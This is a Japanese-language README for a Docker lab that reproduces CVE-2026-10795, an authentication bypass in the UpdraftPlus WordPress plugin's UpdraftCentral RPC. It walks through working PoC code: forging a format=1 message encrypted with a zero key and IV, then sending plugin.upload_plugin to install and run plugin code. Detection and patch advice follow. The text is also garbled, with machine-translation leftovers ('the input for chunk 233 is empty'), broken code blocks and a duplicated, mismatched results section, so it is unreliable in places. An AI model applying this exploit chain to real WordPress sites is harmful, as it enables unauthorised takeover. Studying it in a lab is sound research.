
このリポジトリには、UpdraftPlus WordPress プラグインの UpdraftCentral リモート通信レイヤーに影響を与える、未認証の認証バイパス脆弱性である CVE-2026-10795 を再現・検証するためのローカル Docker ラボが含まれています。
脆弱な動作は UpdraftCentral の RPC メッセージ処理フローに存在します。脆弱なバージョンでは、偽造された format=1 RPC メッセージが署名検証をバイパスし、失敗する RSA 復号パスを引き起こしつつ、予測可能な null キー/null IV の動作で対称復号に到達できます。これにより、巧妙に細工された暗号化 RPC メッセージが UpdraftCentral コマンドとして受け入れられ、ディスパッチされる可能性があります。
このラボでは、2 つの UpdraftPlus バージョンを比較しています:
| Service | UpdraftPlus version | Purpose | URL |
|---|---|---|---|
vuln | 1.26.4 | 脆弱な比較対象 | http://127.0.0.1:8081 |
patched | 1.26.5 | パッチ適用済みの比較対象 | http://127.0.0.1:8082 |
実証されるチェーンは次のとおりです:```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint
主な脆弱性は認証バイパスです。このラボは、特権を持つUpdraftCentralキー状態が存在する場合、バイパスをRCE型の影響に連鎖させることができることを示しています。これは、UpdraftCentralがWordPressプラグインをインストールおよびアクティブ化できる正規のプラグイン管理コマンドを公開しているためです。
これは直接的なコマンドインジェクションの脆弱性ではありません。コード実行の証明は、RPC認証境界をバイパスした後に、認証済みプラグインインストール機能を悪用することから得られます。
このラボは、制御されたローカル研究、ソースレベルでの理解、およびポートフォリオデモンストレーションのみを目的として設計されています。
## 検証済みの事実
| 主張 | 証拠 | このラボでの検証方法 |
| ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| このラボではUpdraftPlus 1.26.4に脆弱性があります。 | 脆弱なサービスは、偽造された`format=1` RPCメッセージを受け入れ、`plugin.upload_plugin`をディスパッチします。 | `python3 poc/poc.py --url http://127.0.0.1:8081`を実行します。 |
| このラボではUpdraftPlus 1.26.5が偽造メッセージをブロックします。 | パッチ適用済みサービスはRPC応答ボディを返さず、偽造コマンドをディスパッチしません。 | `python3 poc/poc.py --url http://127.0.0.1:8082`を実行します。 |
| この問題はUpdraftCentral RPCレイヤーにおける認証バイパスです。 | 脆弱なバージョンでは、偽造された未認証RPCリクエストがコマンドディスパッチに到達できます。 | ポート`8081`と`8082`の間で`--ping`の動作を比較します。 |
| このラボはマーカープラグインを事前インストールしません。 | セットアップはWordPress、UpdraftPlus、およびローカルのUpdraftCentralキー状態のみをインストールします。 | PoCを実行する前に`/wp-json/cve-lab/v1/id`を確認します。 |
| PoCは偽造RPCを通じてマーカープラグインをインストールします。 | PoCはRPCデータフィールドにZIPプラグインペイロードを含む`plugin.upload_plugin`を送信します。 | PoCを実行し、その後`/wp-json/cve-lab/v1/id`をリクエストします。 |
| 脆弱なターゲットはRCE型の影響に到達します。 | マーカープラグインは`/usr/bin/id`の出力を返すハードコードされたエンドポイントを公開します。 | 脆弱なターゲットは`uid=33(www-data) gid=33(www-data)`を返します。 |
| パッチ適用済みターゲットはマーカープラグインをインストールしません。 | マーカーエンドポイントはパッチ適用済みサービスで`404 rest_no_route`を返します。 | `http://127.0.0.1:8082`に対してPoCを実行します。 |
| このラボにはUpdraftCentralキー状態が必要です。 | UpdraftCentralのディスパッチはローカルキーエントリと関連するメタデータに依存します。 | `scripts/setup-wordpress.sh`を確認します。 |
## 前提条件と未知の事項
このラボは、リモートコントロールが設定されたサイト状態を再現するために、ローカルのUpdraftCentralキー状態を意図的にシードします。
シードされたキー状態はラボの前提条件であり、脆弱性そのものではありません。これにより、ラボは脆弱なRPC解析および復号パスを一貫して実行できます。
このラボは、すべてのUpdraftPlusインストールが直ちに悪用可能であると主張するものではありません。実証された連鎖は、特権を持つWordPressユーザーに関連付けられたUpdraftCentralローカルキーエントリの存在に依存します。
このラボは、ハードコードされた`/usr/bin/id`証明エンドポイントを公開するマーカープラグインをインストールすることで、制御されたRCE型の影響を示します。汎用ウェブシェル、任意コマンド実行パラメータ、リバースシェル、永続化メカニズム、認証情報の窃取、外部コールバックは提供しません。
PoCはローカルターゲットのみを対象としており、デフォルトで非ローカルホスト名を拒否します。
## 根本原因の概要
根本原因は、脆弱なバージョンのUpdraftPlusにおけるUpdraftCentral RPCメッセージの不適切な検証です。
脆弱なRPCフローは`format=1`メッセージを受け入れます。`format=1`パスは、新しいメッセージ形式と同じ署名検証を必要としません。
概要レベルの問題は次のとおりです:```text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched
脆弱な動作では、RSA復号は以下を返すことがあります:```text false
失敗した復号結果を拒否する代わりに、この脆弱なフローは処理を続行し、その値を対称復号レイヤーに渡します。
実際の脆弱なパターンは次のとおりです。```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);
The problem is that $sym_key is not validated before it is used.
When $sym_key is false, the cipher setup follows a predictable null key/null IV behavior. This makes it possible to craft an encrypted RPC payload using a known zero key and zero IV.
The patched version adds a guard before the symmetric key is used:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
これにより、信頼境界が変更されます。
パッチ適用前:```text
failed RSA decrypt result could still reach symmetric decrypt
パッチ適用後:```text failed RSA decrypt result is rejected before command dispatch
これが、脆弱なサービスが偽造されたRPCコマンドをディスパッチする一方、パッチ適用済みのサービスがそうしない理由です。
## 認証バイパスがなぜコード実行につながるのか
CVE-2026-10795は、根本的な欠陥がRPC認証およびメッセージ検証層にあるため、認証バイパスとして最も適切に説明されます。
しかし、その認証境界がバイパスされた後、攻撃者が制御するRPCメッセージは、特権的なUpdraftCentralコマンドに到達できます。
重要なコマンドパスの1つは次のとおりです:```text
plugin.upload_plugin
このコマンドは、UpdraftCentral のプラグイン管理機能の一部です。プラグインの ZIP ペイロードを受け取り、一時的な場所に書き込み、プラグインをインストールし、要求に応じてアクティブ化します。
したがって、影響の連鎖は次のとおりです。```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution
これはコマンドインジェクションではありません。
このラボは、単一のエンドポイントを公開するマーカープラグインをインストールすることでコード実行を実演します。```text
/wp-json/cve-lab/v1/id
マーカープラグインはコマンドパラメータを受け付けません。実行できるのは次のみです:```text /usr/bin/id
これにより、実証が制御された状態に保たれ、ラボが汎用のWebシェルに変わることを回避できます。
## ソースパッチの概要
関連するパッチの動作として、パッチ適用版はRPCメッセージ本体の復号を試みる前に、無効な対称鍵を拒否します。
重要な検証は次のとおりです。```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
これにより、RSA復号の失敗結果が予測可能な対称鍵パスになり得るという脆弱なフォールバック動作が防止されます。
実際の結果は次のとおりです。```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch
UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached
このラボは、実際のUpdraftCentralプラグインのアップロードコマンドパスを対象とすることで、下流への影響も検証します。
関連するコマンドの動作は次のとおりです:```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()
パッチ適用版は、このコマンドパスに到達する前に偽造メッセージをブロックします。
このセクションでは、脆弱なパスをソースコードレベルで説明し、各PoCステップを関連するUpdraftPlus / UpdraftCentralの動作に対応付けます。
このラボは、偽の脆弱なアプリケーションルートに依存していません。脆弱な動作は、実際のUpdraftCentral RPCリスナーと実際のUpdraftCentralプラグイン管理コマンドパスを通じて到達します。
重要なソース領域は次のとおりです。```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php
### リスナー作成
脆弱なRPCパスは、WordPressが以下を含むPOSTリクエストを受信したときに始まります:```text
udrpc_message
format
key_name
RPCライブラリは、それらのPOSTフィールドが存在する場合、WordPressのwp_loadedにリスナーを登録します。
概念的には、フローは次のとおりです。```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }
これは、攻撃者が特別なRESTエンドポイントや管理URLを知る必要がないことを意味します。偽造されたRPCリクエストは、通常のPOSTリクエストとしてWordPressサイトのルートに送信されます。
PoCは以下を送信します:```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>
リクエストは、正当なUpdraftCentralリモート通信で使用されるものと同じリスナーパスに到達します。
UpdraftCentralはローカルのリモート制御キーをWordPressオプションに保存します。このラボでは、セットアップスクリプトが、脆弱なターゲットとパッチ適用済みターゲットの両方に対して、制御されたキー状態をシードします。
関連するキー名は次のとおりです:```text 0.central.updraftplus.com
この形式は、UpdraftCentralのキーインジケーターロジックによって生成されます:```php
private function indicator_name_from_index($index) {
return $index.'.central.updraftplus.com';
}
リスナーは、暗号化されていないPOSTフィールドが期待されるキーインジケータと一致する場合にのみ続行します:```php if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) { return; }
したがって、PoCは次のように設定します:```python
KEY_NAME = "0.central.updraftplus.com"
これは脆弱性ではありません。テストが脆弱なRPC解析および復号パスを再現可能な方法で実行できるようにするためのラボ前提条件です。
UpdraftCentralはメッセージフォーマットをサポートしています。重要な違いは次のとおりです。```text format=1 legacy path format=2 signed message path
脆弱なコードパスでは、署名検証はフォーマットが2以上の場合にのみ行われます:```php
if ($format >= 2) {
if (empty($_POST['signature'])) {
die;
}
if (!$this->key_remote) {
die;
}
if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
die;
}
}
PoCが使用するため:```text format=1
この署名検証ブロックはスキップされる。
これが認証バイパスの境界である。
正規の `format=2` メッセージには有効な署名が含まれていることが期待される。偽造された `format=1` メッセージには署名が不要なため、攻撃者が制御するメッセージは復号パスへ進むことができる。
### 脆弱な復号フロー
フォーマットとキー名のチェック後、リスナーは送信された `udrpc_message` を復号する。
UpdraftPlus 1.26.4 の脆弱な復号フローは、実質的に次のようになる:```php
$rsa->loadKey($this->key_local);
$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
バグは、これら2つの操作の間にあります。```php $sym_key = $rsa->decrypt($sym_key); $rij->setKey($sym_key);
RSA の復号に失敗した場合、`$rsa->decrypt()` は以下を返す可能性があります:```php
false
脆弱なバージョンは、その値を渡す前に拒否しません:```php $rij->setKey($sym_key);
パッチ適用版では、検証を追加することでこの問題を修正しています:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
このガードはセキュリティ上重要なパッチです。RSA復号の失敗結果が対称暗号のセットアップに到達するのを防ぎます。
false が予測可能になるのか脆弱な動作は、このphpseclibパスではsetKey(false)が安全に失敗しないため危険です。
暗号コードは提供されたキーからキー長を計算します:```php $this->setKeyLength(strlen($key) << 3); $this->key = $key;
`$key` が `false` の場合、`strlen(false)` はゼロ長キーの場合と同様に動作します。
Rijndael の鍵長ロジックは、非常に小さな鍵サイズを有効な最小鍵長に切り上げます:```php
case $length <= 128:
$this->key_length = 16;
break;
暗号セットアップは、鍵とIVをNULLバイトでパディングします:```php $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");
$this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");
したがって、攻撃者は脆弱な復号化動作を次のようにモデル化できます:```text
AES/Rijndael-CBC
key = 16 null bytes
iv = 16 null bytes
これが、PoCがJSON RPCコマンドをローカルで暗号化し、脆弱なターゲットにその復号を成功させることができる理由です。
脆弱な復号関数は、暗号化されたメッセージに次の内容が含まれることを想定しています:```text 3 hex chars length of RSA-encrypted symmetric key, as base64 text N chars base64 RSA-encrypted symmetric key 16 hex chars length of ciphertext, as base64 text M chars base64 encrypted message body
PoC はこの構造を手動で構築します:```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
RSAブロックは意図的に無効です:```python BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
UpdraftPlus 1.26.4では、その無効なRSAブロックによりRSA復号が失敗しますが、その失敗は拒否されません。
UpdraftPlus 1.26.5では、復号失敗の結果は新しいガードによって拒否され、偽造されたメッセージはコマンドディスパッチに到達しません。
### 内部JSON RPCメッセージ
暗号化された内部メッセージは、通常のUpdraftCentralスタイルのJSONコマンドです。
ping検証のために、PoCは以下を使用します:```json
{
"command": "ping",
"time": 1710000000,
"key_name": "0.central.updraftplus.com",
"rand": 123456
}
デフォルトのID証明では、PoCは以下を使用します:```json { "command": "plugin.upload_plugin", "time": 1710000000, "key_name": "0.central.updraftplus.com", "rand": 123456, "data": { "filename": "cve-2026-10795-id-marker.zip", "data": "", "activate": true } }
`key_name` は暗号化メッセージの外部と内部の両方に出現します。リスナーは両方が一致することを確認します:```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
die;
}
そのため、PoCでは両方の場所に同じキー名を含める必要があります。
メッセージを復号した後、リスナーはそれをJSONとして解析します。```php $udrpc_message = json_decode($udrpc_message, true);
メッセージには有効なコマンドが含まれている必要があります:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
die;
}
また、タイムスタンプを含める必要があります:```php if (empty($udrpc_message['time'])) { die; }
タイムスタンプは許可されたリプレイウィンドウ内にある必要があります:```php
$time_difference = absint($udrpc_message['time'] - time());
if ($time_difference > $this->maximum_replay_time_difference) {
die;
}
したがって、PoC は内部の time フィールドを現在時刻に設定します。
メッセージが復号化され検証された後、UpdraftCentral はコマンドをディスパッチします。
コマンドはプレフィックス形式を使用します:```text .
例:```text
plugin.upload_plugin
これは次のようになります:```text prefix = plugin method = upload_plugin
リスナーはプレフィックスからコマンドクラスを解決し、その後メソッドを動的に呼び出します:```php
$msg = apply_filters(
'updraftcentral_listener_udrpc_action',
call_user_func(array($command_class, $command), $data, $extra_info),
$command_class,
$class_prefix,
$command,
$data,
$extra_info
);
PoC コマンドの場合:```text plugin.upload_plugin
リスナーは呼び出しを行う:```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)
This is why the PoC does not need a direct command-injection sink. It reaches a legitimate privileged UpdraftCentral command after bypassing the RPC authentication boundary.
The listener can set the current WordPress user from the UpdraftCentral key metadata:```php if (!empty($extra_info['user_id'])) { wp_set_current_user($extra_info['user_id']); }
このラボでは、シードされたキーは次のとおりです:```text
extra_info.user_id = 1
これは、WordPressセットアップ中に作成された管理者ユーザーに関連付けられた、設定済みUpdraftCentralキーをシミュレートします。
プラグインのアップロードパスがWordPressの権限をチェックするため、これは重要です:```php if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) { $permission_error = true; }
つまり、バイパスだけでも偽造コマンドをRPCレイヤーに到達させることができます。シードされたキーメタデータによって、そのコマンドがどのWordPressユーザーコンテキストで実行されるかが決まります。
このラボでは、キーがユーザーID 1に関連付けられているため、コマンドは管理者コンテキストで実行されます。
### プラグインアップロードシンク
コマンドメソッドは次のとおりです:```php
public function upload_plugin($params) {
return $this->process_chunk_upload($params, 'plugin');
}
共有アップロードハンドラは、プラグインのアップロードデータを期待します:```text filename data activate
PoCは以下を送信します:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
アップロードハンドラはZIPの内容を一時ファイルに書き込みます:```php $result = file_put_contents( $upload_dir.'/'.$filename, base64_decode($params['data']), FILE_APPEND | LOCK_EX );
チャンク分割されていないアップロードの場合、インストールは直ちに実行されます:```php
$install_now = true;
次にハンドラーはZIPパスを構築します:```php $zip_filepath = $upload_dir.'/'.$filename;
そして、UpdraftCentralプラグインアップグレーダーを使用してインストールします:```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);
インストールが成功し、activate が true の場合、コードはインストールされたプラグインを有効化します:```php
if ((bool) $params['activate'] && !$is_active) {
$activate = activate_plugin($data['slug']);
}
インストール成功のレスポンスには、以下が含まれます:```php
return $this->_response(
array(
'installed' => true,
'installed_data' => $data,
)
);
これが、偽造されたRPC認証バイパスをWordPressプラグインのインストールと有効化に連鎖させることができるソースレベルの理由です。
マーカープラグインは、PoCによってメモリ内で生成されます。Dockerセットアップでは事前にインストールされません。
生成されたZIPには以下が含まれます:```text cve-2026-10795-id-marker/ └── cve-2026-10795-id-marker.php
markerプラグインは1つのRESTルートを登録します:```text
/wp-json/cve-lab/v1/id
エンドポイントは以下を返します:```text lab plugin proof uid gid user id_output
マーカープラグインによって実行される唯一のコマンドはハードコードされています:```php
shell_exec('/usr/bin/id 2>&1');
ユーザーが制御する cmd パラメータは存在しません。
これは意図的です。このラボは、一般的なウェブシェルを回避しながら、プラグインコードの実行を証明します。
パッチ適用済みサービスは、同じ偽造リクエストを受信し、同じシードされたキー状態を持ちます。
違いは、パッチ適用済みの復号ガードです:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
PoC は意図的に無効な RSA ブロックを提供するため、復号された対称鍵は無効です。
UpdraftPlus 1.26.5 では、偽造されたメッセージは JSON 解析の前、およびコマンドディスパッチの前に停止します。
したがって:```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route
This patched behavior proves that the lab result depends on the vulnerable UpdraftPlus RPC code path, not on the Docker harness.
PoC は非ローカルターゲットを拒否することから始まります:```python allowed_hosts = {"127.0.0.1", "localhost", "::1"}
if host not in allowed_hosts: raise ValueError("Refusing non-local target")
これにより、スクリプトはDockerラボに限定されます。
PoCは内部RPCメッセージを構築します:```python
inner = {
"command": command,
"time": int(time.time()),
"key_name": KEY_NAME,
"rand": random.randint(1, 2_147_483_647),
}
デフォルトのID証明が使用される場合、コマンドは次のとおりです:```python command = "plugin.upload_plugin"
そしてデータは:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
The PoC then encrypts the inner JSON with the predictable vulnerable cipher state:```python ZERO_KEY = b"\x00" * 16 ZERO_IV = b"\x00" * 16
cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
これは、対称暗号セットアップに `false` を渡した場合の脆弱な結果と一致します。
PoC は意図的に不正な RSA ブロックを使用します:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
結果として得られる udrpc_message は、RPC復号関数が期待するのと同じ長さプレフィックス形式で構築されます:```python
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
最後に、PoCは偽造されたRPCリクエストを送信します。```python
fields = {
"format": "1",
"key_name": KEY_NAME,
"udrpc_message": build_udrpc_message(command, data),
}
requests.post(target, data=fields, timeout=timeout)
脆弱なターゲット上では、サーバーの応答には有効なRPCスタイルのJSONレスポンスボディが含まれます。PoCはそれを次のように扱います:```text RPC DISPATCHED
ディスパッチ後、PoCはマーカーエンドポイントをリクエストして影響を検証します:```text
GET /wp-json/cve-lab/v1/id
marker プラグインがインストールされ、有効化されている場合、エンドポイントは次を返します:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
その出力は、偽造された未認証のRPCメッセージが特権プラグインインストールパスに到達し、ローカルラボ内で攻撃者が供給したプラグインコードを起動したことを証明しています。
## このラボが証明すること
このラボは以下の技術的連鎖を証明します:```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.
このラボは、すべてのインストールが前提条件なしで悪用可能であることを証明するものではありません。
このデモに必要な前提条件は次のとおりです。```text an existing UpdraftCentral local key state associated with a privileged WordPress user
Dockerセットアップは、両方のターゲットにその前提条件を作成し、脆弱な動作とパッチ適用済みの動作の違いを公平にテストできるようにします。
## ラボの構成
このラボは、Docker Composeを使用して、2つの分離されたWordPressインストールを実行します。```text
.
├── docker-compose.yml
├── scripts/
│ └── setup-wordpress.sh
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── requirements.txt
├── README.md
└── .gitignore
2つのWordPressサービスは、それぞれ別のデータベースと別のUpdraftPlusバージョンで動作します:
デフォルトで公開されるサービス:```text Vulnerable target: http://127.0.0.1:8081 Patched target: http://127.0.0.1:8082
セットアッププロセスは、両方のサービスに同じUpdraftCentralキー状態をシードします:```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1
これにより、両方のターゲットに同じ前提条件の状態が与えられます。動作の違いは、脆弱なUpdraftPlusコードとパッチ適用済みのUpdraftPlusコードの違いに起因し、ラボのセットアップの違いによるものではありません。
requirements.txt に記載された Python パッケージPython 依存関係:```text requests urllib3<2 pycryptodome
The `urllib3<2` 制約により、一部のmacOS PythonビルドでLibreSSL関連の警告を回避できます。
## クイックスタート
クリーンなラボ環境から開始します:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
セットアップログを監視する:```bash docker compose logs -f vuln_setup patched_setup
期待されるセットアップ指標:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln
入力が空です。翻訳するテキストが提供されていません。```text Seeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.5 Setup complete for CVE-2026-10795 patched
実行中のサービスを確認:```bash
docker compose ps
Python 仮想環境を作成してアクティブ化します:```bash python3 -m venv venv source venv/bin/activate pip install -r requirements.txt
脆弱なターゲットに対してデフォルトのID proofを実行します:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
パッチ適用済みのターゲットに対して同じ証明を実行してください:```bash python3 poc/poc.py --url http://127.0.0.1:8082
このスクリプトは意図的に `--url` オプションを必須としています。これにより、テスターは両方のサービスを自動的に攻撃するのではなく、明示的にターゲットを選択することが強制されます。
## PoC 使用方法
デフォルトの動作:```bash
python3 poc/poc.py --url <local_target_url>
脆弱なターゲットの例:```bash python3 poc/poc.py --url http://127.0.0.1:8081
パッチ適用済みターゲットの例:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
オプションのpingのみの検証:```bash python3 poc/poc.py --ping --url http://127.0.0.1:8081 python3 poc/poc.py --ping --url http://127.0.0.1:8082
サポートされているオプション:
| オプション | 必須 | 目的 |
| ----------- | -------- | ------------------------------------------------------- |
| `--url` | 必須 | ローカルラボのターゲットURL |
| `--ping` | 任意 | ID証明の代わりに無害な偽造ping検証を実行する |
| `--timeout` | 任意 | 秒単位のHTTPタイムアウト。デフォルト: `15` |
受け入れ可能なターゲットホスト:```text
127.0.0.1
localhost
::1
PoC はデフォルトでローカル以外のターゲットを拒否します。
PoC はホストマシン上で実行され、公開された Docker サービスに HTTP リクエストを送信します。
デフォルトの PoC アクションは ID 証明です。
大まかな流れは次のとおりです。```text
マーカープラグインは、スタンドアロンのプラグインファイルとしてリポジトリに保存されていません。PoCによってメモリ内で生成されます。
偽造されたRPCコマンドは次のとおりです:```text
plugin.upload_plugin
RPCデータには以下が含まれています:```text filename = cve-2026-10795-id-marker.zip data = base64(plugin_zip) activate = true
PoCは、以下を使用して内部のJSON RPCメッセージを暗号化します:```text
AES-CBC
key = 16 null bytes
iv = 16 null bytes
また、意図的に無効なRSA暗号化対称キーブロックも含まれています。
脆弱なバージョンでは、RSA復号の失敗は拒否されません。メッセージは予測可能なnullキー復号パスに進み、偽造されたコマンドが送出されます。
パッチ適用済みバージョンでは、無効な対称鍵が拒否され、偽造されたコマンドは送出されません。
--ping Exists--ping オプションはデバッグ支援ツールです。
これは、暗号バイパスとRPCディスパッチの境界のみを検証します。プラグインをアップロードせず、/usr/bin/id も実行しません。
デフォルトのID証明が機能せず、障害を切り分ける必要がある場合は、--ping を使用してください。
--ping が失敗した場合、問題はおそらくコマンド実行前にあります:```text
wrong key state
wrong key_name
message format issue
encryption mismatch
listener not active
patched behavior
`--ping` が成功しても ID 証明が失敗する場合、問題はおそらくディスパッチ後です。```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue
期待されるping動作:```text 1.26.4 vulnerable target → PING DISPATCHED 1.26.5 patched target → PING NOT DISPATCHED
## 期待される結果
### 脆弱なターゲット
コマンド:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
### パッチ適用済みターゲット
コマンド:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
## 手動検証コマンド
サービスの健全性を確認します:```bash
docker compose ps
脆弱なサービスのメタデータを検査:```bash curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool
パッチ適用済みサービスのメタデータを検査:```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool
ランタイムプラグインの状態を確認します:```bash curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
pingのみの検証を実行:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082
Run ID 証明:```bash python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082
PoC 実行直後にマーカーエンドポイントを確認してください:```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool
The input for chunk 233 is empty — there is no content to translate. Please provide the actual Markdown text for this chunk so I can process it.```text 8081 → marker endpoint exists and returns id output 8082 → marker endpoint returns 404 rest_no_route
脆弱なコンテナ内のインストール済みプラグインを確認します:```bash
docker compose exec -T vuln sh -lc \
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
パッチ適用済みコンテナ内にインストールされているプラグインを確認してください:```bash
docker compose exec -T patched sh -lc
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
The vulnerable service should contain the marker plugin after the PoC runs. The patched service should not.
## Impact
This lab demonstrates that an unauthenticated attacker can forge an UpdraftCentral RPC message that reaches privileged command dispatch in UpdraftPlus 1.26.4 when a suitable UpdraftCentral key state exists.
The demonstrated impact is RCE-style because the forged RPC command abuses legitimate plugin management functionality:```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context
ローカルの実証では、Webサーバーユーザーとして実行されていることが示されています:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
脆弱性カテゴリは依然として認証バイパスです。コード実行の結果は、特権付きWordPressプラグインのインストールを介した連鎖的な影響です。
## 検知と監視
潜在的な指標には、UpdraftCentral RPCフィールドを含むWordPressフロントページへの未認証のPOSTリクエストが含まれます:```text
format
key_name
udrpc_message
signature
不審な特性:```text format=1 key_name ending with .central.updraftplus.com large udrpc_message value unexpected unauthenticated POST requests to / repeated RPC attempts with empty or unusual response bodies new unexpected plugin directories under wp-content/plugins new plugin activation events REST routes appearing unexpectedly after a suspicious request
ローカルラボの指標:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)
本番環境でのモニタリングのアイデア:
udrpc_message を含む POST リクエストがないか、Web アクセスログを確認します。format=1 の RPC リクエストにアラートを設定します。wp-content/plugins 配下のファイルシステムの変更を監視します。UpdraftPlus をバージョン 1.26.5 以降にアップグレードしてください。
修正版は、対称復号とコマンドディスパッチの前に、無効な復号済み対称キーを拒否します。
推奨される緩和手順:
udrpc_message リクエストがないかアクセスログを確認します。最も重要な修正は、復号とディスパッチの前に無効な対称キーを拒否する、パッチ済みの UpdraftPlus バージョンを実行することです。
コンテナを停止し、ネットワークを削除します:```bash docker compose down --remove-orphans
コンテナ、ネットワーク、ボリュームを削除:```bash
docker compose down -v --remove-orphans
Python仮想環境を削除する:```bash rm -rf venv
ローカルの証拠ファイルが作成された場合は削除:```bash
rm -rf evidence/
